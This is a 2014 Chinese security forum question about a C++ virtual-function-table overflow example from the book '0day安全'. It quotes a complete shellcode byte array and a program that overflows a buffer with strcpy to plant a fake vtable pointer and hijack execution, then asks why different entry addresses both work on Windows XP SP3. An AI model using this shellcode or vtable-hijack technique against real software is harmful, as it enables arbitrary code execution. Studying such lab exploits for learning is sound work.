-
-
0day攻击C++虚函数
-
发表于:
2014-1-6 00:44
2614
-
在第二版的0day里,failwest提供的源代码
#include "windows.h"
#include "iostream.h"
#include "stdio.h"
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xac\xba\x40\x00";//set fake virtual function pointer
class Failwest
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
Failwest overflow, *p;
void main(void)
{
char * p_vtable;
p_vtable=overflow.buf-4;//point to virtual table
printf("%x\n",overflow.buf);
//__asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug
p_vtable[0]=0x5c;
p_vtable[1]=0xbb;
p_vtable[2]=0x40;
p_vtable[3]=0x00;
strcpy(overflow.buf,shellcode);//set fake virtual function pointer
p=&overflow;
p->test();
}
上述代码放在我的虚拟机里的xp,sp3里用vc6.0编译,运行崩溃,但是failwest用此代码编译出的exe(在他的源代码里有已经编译好的exe)就能在我的虚拟机里正常执行,奇了怪了。
求解释...
第二:
我根据我的上述环境,获得了overflow.buf为0x40BAAC,于是我修改代码如下:
p_vtable[0]=0x5c;
p_vtable[1]=0xbb;
p_vtable[2]=0x40;
p_vtable[3]=0x00;
然后将shellcode入口点改为:"\xac\xba\x40\x00";//set fake virtual function pointer
也可以正常运行。
这不科学啊。。。
会同时存在两个入口点等情况么?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课